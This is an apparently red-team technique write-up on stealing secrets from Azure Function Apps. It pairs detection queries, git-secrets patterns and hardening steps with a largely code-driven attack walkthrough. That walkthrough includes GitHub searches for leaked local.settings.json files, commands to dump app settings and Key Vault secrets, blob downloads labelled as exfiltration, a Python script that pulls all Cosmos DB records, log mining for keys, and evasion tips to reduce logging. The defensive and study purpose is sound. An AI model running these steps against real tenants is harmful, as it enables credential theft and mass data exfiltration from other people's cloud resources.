| Attribute | Details |
|---|---|
| Technique ID | MISCONFIG-018 |
| MITRE ATT&CK v18.1 | T1552.001 - Credentials in Files |
| Tactic | Credential Access |
| Platforms | Entra ID, Azure, M365 |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure Functions 1.0+ (all runtime versions), Azure App Services, Logic Apps |
| Patched In | Not applicable (configuration vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Function Apps store connection strings, API keys, and secrets in configuration files (local.settings.json, appsettings.json) and environment variables. If these files are committed to source control repositories (GitHub, Azure Repos), exposed via diagnostic logs, or stored in plaintext without encryption, attackers who enumerate the function app can extract credentials for databases, storage accounts, external APIs, and third-party services. This grants attackers the ability to access backend resources, exfiltrate sensitive data, and pivot to connected systems.
Attack Surface: Azure Function App configuration files, local.settings.json in source repositories, diagnostic logs, connection string settings in Azure Portal, Key Vault references with insufficient access controls, and client application source code.
Business Impact: Full compromise of function app backend resources and lateral movement to connected services. With exposed secrets, attackers can access SQL databases, storage accounts, Cosmos DB, external APIs, and any service the function authenticates to. Compromised database credentials enable data exfiltration; storage account keys permit tampering with critical data; API keys enable unauthorized API calls.
Technical Context: Extraction requires either: (1) access to source control repository containing function code, (2) ability to read Azure Function App configuration in the portal (requires Reader role or higher), (3) access to diagnostic logs or Application Insights data, or (4) ability to execute code within the function app runtime. Detection is difficult because legitimate function operations will mask secret access. Reversibility is low—once external service credentials are compromised, all resources they protect must be assumed breached.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.16 (Azure), 2.1.5 (AWS) | Ensure that key vault key is managed, ensure resource groups have key vault keys with appropriate expiration policies |
| DISA STIG | SC-7(2), SC-12 | Boundary Protection, Cryptographic Key Management |
| CISA SCuBA | CL-CS-5 | Cloud Security - Encryption of Data in Transit and at Rest |
| NIST 800-53 | SC-7, SC-12, SC-28 | Boundary Protection, Cryptographic Key Management, Protection of Information at Rest |
| GDPR | Art. 32, Art. 33 | Security of Processing, Data Breach Notification |
| DORA | Art. 15 | ICT Risk Management - Data Protection and Privacy |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Cryptography and Key Management |
| ISO 27001 | A.10.1, A.13.1 | Cryptography, Cryptographic Controls |
| ISO 27005 | Risk scenario: “Exposure of Cryptographic Keys” | Risk of credential compromise due to improper secret management |
Supported Versions:
Tools:
Supported Versions: All Azure Functions runtime versions
Objective: Locate Azure Function App source code committed to a public or insufficiently protected GitHub repository.
Command (GitHub Advanced Search):
# Search GitHub for exposed Azure Function code with secrets
# Using GitHub API or web search with these queries:
# Search for: "local.settings.json" + "github"
# Search for: "appsettings.json" + "functionapp"
# Search for: "AzureWebJobsStorage" + "DefaultEndpointsProtocol"
curl -H "Authorization: token YOUR_GITHUB_TOKEN" \
"https://api.github.com/search/code?q=AzureWebJobsStorage+filename:local.settings.json"
Expected Output:
{
"total_count": 42,
"incomplete_results": false,
"items": [
{
"name": "local.settings.json",
"path": "FunctionApp/local.settings.json",
"sha": "abc123def456",
"url": "https://api.github.com/repos/user/repo/contents/...",
"repository": {
"full_name": "user/sensitive-function-app",
"url": "https://github.com/user/sensitive-function-app"
}
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
-H "Authorization: token YOUR_TOKEN"Objective: Download the repository and extract secrets from configuration files.
Command (Git Clone & Local Examination):
# Clone repository
git clone https://github.com/user/sensitive-function-app.git
cd sensitive-function-app
# Search for common secret files
find . -name "local.settings.json" -o -name "appsettings.json" -o -name "*.config" | head -20
# Extract secrets from local.settings.json
cat local.settings.json | grep -E "(AzureWebJobs|DefaultEndpointsProtocol|AccountName|AccountKey)"
# Pretty-print JSON to extract all keys
cat local.settings.json | jq '.'
Expected Output:
{
"IsEncrypted": false,
"Values": {
"AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=storageaccount123;AccountKey=abc123def456xyz789uvw...==;EndpointSuffix=core.windows.net",
"WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=functionfiles;AccountKey=xyz789abc123...==;",
"COSMOS_DB_CONNECTION_STRING": "AccountEndpoint=https://cosmosdb-instance.documents.azure.com:443/;AccountKey=secretkey123...==;",
"ApiKey": "sk-proj-1234567890abcdef..."
}
}
What This Means:
OpSec & Evasion:
Troubleshooting:
git clone https://token@github.com/user/repo.gitapt-get install jq or use Python: python -m json.tool local.settings.jsonObjective: Validate that extracted storage account keys grant access to blob storage and databases.
Command (Azure CLI - Test Storage Access):
# Set storage account credentials from extracted keys
export AZURE_STORAGE_ACCOUNT="storageaccount123"
export AZURE_STORAGE_KEY="abc123def456xyz789uvw...=="
# List containers in storage account
az storage container list --account-name $AZURE_STORAGE_ACCOUNT --account-key $AZURE_STORAGE_KEY
# List blobs in a specific container
az storage blob list --account-name $AZURE_STORAGE_ACCOUNT --account-key $AZURE_STORAGE_KEY --container-name "function-data"
# Download a blob (exfiltration example)
az storage blob download --account-name $AZURE_STORAGE_ACCOUNT --account-key $AZURE_STORAGE_KEY \
--container-name "sensitive-data" --name "data.csv" --file "/tmp/data.csv"
Expected Output:
[
{
"name": "function-data",
"properties": {
"lastModified": "2025-12-15T10:30:00+00:00",
"etag": "0x8D123ABC4567",
"leaseStatus": "unlocked"
}
}
]
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use function app secrets to access connected services (e.g., Cosmos DB, external APIs, database servers).
Command (Cosmos DB Connection String Exploitation):
# Extract Cosmos DB key from configuration
COSMOS_CONNECTION_STRING="AccountEndpoint=https://cosmosdb-instance.documents.azure.com:443/;AccountKey=secretkey123...=="
# Connect using Azure CLI
az cosmosdb list --query "[].name" --out table
# Access Cosmos DB using SDK (Python example)
python3 << 'EOF'
from azure.cosmos import CosmosClient
connection_string = "AccountEndpoint=https://cosmosdb-instance.documents.azure.com:443/;AccountKey=secretkey123...=="
client = CosmosClient.from_connection_string(connection_string)
# List databases
for database in client.list_databases():
print(f"Database: {database['id']}")
db_client = client.get_database_client(database['id'])
# List containers (collections)
for container in db_client.list_containers():
print(f" Container: {container['id']}")
# Query all items in container
items = list(db_client.get_container_client(container['id']).query_items(
query="SELECT * FROM c"
))
print(f" Items found: {len(items)}")
for item in items[:5]: # First 5 items
print(f" {item}")
EOF
Expected Output:
Database: FunctionData
Container: UserProfiles
Items found: 10234
{'id': 'user-001', 'email': 'user@example.com', 'ssn': '123-45-6789', ...}
...
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All Azure Functions versions
Objective: Gain access to the Azure subscription and function app configuration.
Command (Azure CLI Authentication):
# Authenticate using compromised Azure credentials
az login
# List all function apps in the subscription
az functionapp list --query "[].{name: name, resourceGroup: resourceGroup}" --output table
# Get details of a specific function app
az functionapp show --resource-group "MyResourceGroup" --name "my-function-app" --output json
Expected Output:
Name: my-function-app
ResourceGroup: MyResourceGroup
Location: eastus
AppServicePlanId: /subscriptions/.../appServicePlans/my-plan
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Export all application settings, connection strings, and environment variables from the function app.
Command (Azure CLI - Extract All Secrets):
# Get all application settings (includes secrets)
az functionapp config appsettings list --resource-group "MyResourceGroup" --name "my-function-app" --output json > /tmp/settings.json
# Get all connection strings
az functionapp config connection-string list --resource-group "MyResourceGroup" --name "my-function-app" --output json > /tmp/connections.json
# Parse and display all secrets
cat /tmp/settings.json | jq '.[] | select(.name | test("Key|Secret|Password|Connection")) | {name: .name, value: .value}'
Expected Output:
{
"name": "AzureWebJobsStorage",
"value": "DefaultEndpointsProtocol=https;AccountName=storage123;AccountKey=abc123...=="
},
{
"name": "COSMOSDB_CONNECTION_STRING",
"value": "AccountEndpoint=https://cosmosdb.documents.azure.com:443/;AccountKey=xyz789...=="
},
{
"name": "SQL_CONNECTION_STRING",
"value": "Server=tcp:sqlserver.database.windows.net,1433;Initial Catalog=MyDatabase;User ID=sqladmin;Password=P@ssw0rd123!=="
}
What This Means:
OpSec & Evasion:
az rest API calls directly rather than Azure CLI to minimize logging.Troubleshooting:
--query parameter to force full output: --query "[].{name: name, value: value}"Objective: If function app uses Key Vault references, extract secrets from the vault.
Command (Azure CLI - Key Vault Access):
# List key vaults in the subscription
az keyvault list --query "[].name" --output table
# List secrets in a key vault
az keyvault secret list --vault-name "my-keyvault" --query "[].name" --output table
# Retrieve a specific secret
az keyvault secret show --vault-name "my-keyvault" --name "database-password" --query "value" --output tsv
Expected Output:
database-password
api-key-external
storage-account-key
admin-credentials
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All Azure Functions with Application Insights enabled
Objective: Query Application Insights logs to find secrets logged by function code.
Command (Azure CLI - Application Insights Query):
# List Application Insights instances
az monitor app-insights component list --query "[].name" --output table
# Query logs for secrets using Kusto Query Language (KQL)
az monitor app-insights query --app "my-function-insights" \
--analytics-query '
traces
| where message contains "connection" or message contains "key" or message contains "password"
| project TimeGenerated, message
| limit 100
'
Expected Output:
TimeGenerated: 2025-12-15 10:30:45
message: "Connected to Azure Storage: DefaultEndpointsProtocol=https;AccountName=storage123;AccountKey=abc123...=="
TimeGenerated: 2025-12-15 10:31:12
message: "Cosmos DB Connection established with key: xyz789...=="
What This Means:
OpSec & Evasion:
Troubleshooting:
az functionapp config set --resource-group RG --name funcapp --app-insights <insights-resource-id>Version: 2.50+ (current as of January 2026) Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux
Installation:
# macOS
brew install azure-cli
# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Windows
choco install azure-cli
Usage:
az login # Authenticate
az functionapp list # List function apps
az functionapp config appsettings list # Extract secrets
Version: 9.0+ (current) Minimum Version: 5.0 Supported Platforms: Windows, PowerShell Core 6.0+
Installation:
Install-Module -Name Az -Repository PSGallery -Force
Import-Module Az
Usage:
Connect-AzAccount
Get-AzFunctionApp | Select-Object Name, ResourceGroupName
Version: 1.3.0 Language: Bash
Installation:
git clone https://github.com/awslabs/git-secrets.git
cd git-secrets
sudo make install
Usage:
git secrets --scan # Scan repository for exposed secrets
Rule Configuration:
KQL Query:
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName has_any ("Update function app configuration", "Update application settings", "Update connection string")
| where Result == "Success"
| where TargetResources[0].displayName contains "functionapp"
| project TimeGenerated, InitiatedBy=InitiatedBy.user.userPrincipalName, Operation=OperationName, FunctionApp=TargetResources[0].displayName, Details=TargetResources[0].modifiedProperties
| where Details contains ("Key" or "Secret" or "Password" or "Connection")
What This Detects:
Manual Configuration Steps (Azure Portal):
Critical - Exposed Secrets in Function App ConfigurationCritical5 minutes24 hoursRule Configuration:
KQL Query:
AppTraces
| where TimeGenerated > ago(1h)
| where Message matches regex @"(password|secret|key|token|connection|apikey|AccountKey)" i
| project TimeGenerated, Message, AppName=AppDisplayName, User=UserAuthenticatedId
| union (
AppExceptions
| where TimeGenerated > ago(1h)
| where OuterMessage matches regex @"(password|secret|key|token)" i
| project TimeGenerated, Message=OuterMessage, AppName=AppDisplayName, User=UserAuthenticatedId
)
What This Detects:
Event ID: 4656 (A handle to an object was requested)
Alert Name: “Function App exposing secrets in configuration”
Manual Configuration Steps (Enable Defender for Cloud):
Store all secrets in Azure Key Vault, not in function app configuration: Move all connection strings, API keys, and passwords from function app settings to Azure Key Vault with managed identity access.
Manual Steps (PowerShell - Migrate Secrets to Key Vault):
# Create a key vault (if not exists)
New-AzKeyVault -Name "my-keyvault" -ResourceGroupName "RG-Name" -Location "eastus"
# Get all application settings from function app
$settings = az functionapp config appsettings list --resource-group "RG-Name" --name "my-function-app" | ConvertFrom-Json
# Migrate secrets to Key Vault
foreach ($setting in $settings) {
if ($setting.name -match "Key|Secret|Password|Connection|ApiKey") {
# Add secret to Key Vault
az keyvault secret set --vault-name "my-keyvault" --name $setting.name --value $setting.value
# Create a Key Vault reference in function app settings
$kvReference = "@Microsoft.KeyVault(SecretUri=https://my-keyvault.vault.azure.net/secrets/$($setting.name)/)"
az functionapp config appsettings set --resource-group "RG-Name" --name "my-function-app" `
--settings "$($setting.name)=$kvReference"
}
}
Validation Command:
# Verify secrets are referenced from Key Vault
az functionapp config appsettings list --resource-group "RG-Name" --name "my-function-app" | `
jq '.[] | select(.name | test("Key|Secret|Password")) | {name, value: (.value | if . starts with "@Microsoft.KeyVault" then "KEY_VAULT_REFERENCE" else "PLAINTEXT_SECRET" end)}'
Enable encryption at rest for Function App settings: Ensure all application settings and connection strings are encrypted using Azure Encryption at Rest.
Manual Steps (Azure Portal):
Manual Steps (Terraform/IaC):
resource "azurerm_function_app_slot" "example" {
name = "my-function-app-slot"
function_app_name = azurerm_function_app.example.name
resource_group_name = azurerm_resource_group.example.name
app_service_plan_id = azurerm_app_service_plan.example.id
storage_account_name = azurerm_storage_account.example.name
storage_account_access_key = azurerm_storage_account.example.primary_access_key
app_settings = {
"WEBSITE_ENCRYPTION_SECRET" = "encryption-key" # Enable encryption
}
}
Never commit secrets to source control repositories: Implement pre-commit hooks and CI/CD pipeline checks to prevent secrets from being committed.
Manual Steps (Git Pre-Commit Hook):
# Install git-secrets
git clone https://github.com/awslabs/git-secrets.git
cd git-secrets && sudo make install
# In your repository, install the hook
git secrets --install
git secrets --register-aws
# Add custom patterns for Azure secrets
git secrets --add 'DefaultEndpointsProtocol=https'
git secrets --add 'AccountKey='
git secrets --add 'sk-proj-'
Manual Steps (Azure Repos Branch Policies):
Disable public access to function app endpoints if possible: Restrict function app access to Azure Virtual Network (VNet) only using VNet integration or Azure Private Link.
Manual Steps (Azure Portal - VNet Integration):
Manual Steps (Azure Portal - Private Endpoints):
Validation Command:
# Verify VNet integration
az functionapp config appsettings list --resource-group "RG-Name" --name "my-function-app" | `
jq '.[] | select(.name == "WEBSITE_VNET_ROUTE_ALL")'
# Expected: WEBSITE_VNET_ROUTE_ALL = 1
Enable Managed Identity for function app authentication: Use system-assigned or user-assigned managed identities instead of connection strings for accessing Azure services.
Manual Steps (Azure Portal - Enable System-Assigned Identity):
Manual Steps (PowerShell - Grant Key Vault Access):
# Get function app managed identity
$appIdentity = Get-AzFunctionApp -ResourceGroupName "RG-Name" -Name "my-function-app" | Select-Object -ExpandProperty Identity
# Grant access to Key Vault
Set-AzKeyVaultAccessPolicy -VaultName "my-keyvault" -ObjectId $appIdentity.PrincipalId -PermissionsToSecrets Get, List
Validation Command:
# Verify managed identity
Get-AzFunctionApp -ResourceGroupName "RG-Name" -Name "my-function-app" | Select-Object -ExpandProperty Identity
# Expected: PrincipalId and TenantId should be populated
Implement Key Vault access policies with minimum permissions: Limit key vault access to only the function app’s managed identity and essential service principals.
Manual Steps (Azure Portal - Access Policies):
Enable diagnostic logging and audit all secret access: Monitor Key Vault and Application Insights logs for unauthorized secret retrieval attempts.
Manual Steps (Enable Key Vault Audit Logging):
KeyVault-AuditUse Azure RBAC to restrict function app configuration access: Limit who can read or modify function app settings to only essential personnel.
Manual Steps (PowerShell - Apply RBAC):
# Grant Reader role only (no configuration modification)
New-AzRoleAssignment -SignInName "user@example.com" -RoleDefinitionName "Function App Reader" `
-ResourceName "my-function-app" -ResourceType "Microsoft.Web/sites"
Enforce Azure Policy to detect misconfigured function apps: Automatically audit and remediate function apps with plaintext secrets or unencrypted settings.
Manual Steps (Azure Policy):
local.settings.json (in source repositories or function app runtime)appsettings.json.env filesgit log)GetSecret operations.git/objects/ folder (contains commit history with secrets)D:\home\site\wwwroot\ (may contain configuration files)az functionapp stop --resource-group "RG-Name" --name "my-function-app"
Manual (Azure Portal):
# Export all settings
az functionapp config appsettings list --resource-group "RG-Name" --name "my-function-app" > /tmp/function_settings_backup.json
# Export Key Vault references
az keyvault secret list --vault-name "my-keyvault" > /tmp/keyvault_backup.json
# Export audit logs
az monitor activity-log list --resource-group "RG-Name" --offset 24h > /tmp/activity_logs.json
# Rotate storage account keys
az storage account keys renew --resource-group "RG-Name" --account-name "storageaccount" --key primary
# Rotate database passwords
# (manual step via Azure Portal or SQL Management Studio)
# Revoke API keys from third-party services
# (manual step in each service's dashboard)
StorageBlobLogs
| where TimeGenerated > ago(7d)
| where AuthenticationType == "SharedKey"
| where CallerIpAddress != "EXPECTED_FUNCTION_IP"
| summarize Count=count() by CallerIpAddress, UserAgent, OperationName
| where Count > 100
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-005] Azure Resource Graph Enumeration | Attacker enumerates function apps and storage accounts |
| 2 | Initial Access | [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse | Attacker gains access to application endpoints |
| 3 | Credential Access | [MISCONFIG-018] Unprotected Function App Secrets | Attacker extracts secrets from configuration or logs |
| 4 | Lateral Movement | [LM-AUTH-039] Storage Account Connection String | Attacker uses storage account credentials to access databases |
| 5 | Persistence | Function app modification to create backdoor function | Attacker creates persistent HTTP trigger for reverse shell |
| 6 | Impact | Data exfiltration via compromised storage account | Attacker steals sensitive data from databases or blobs |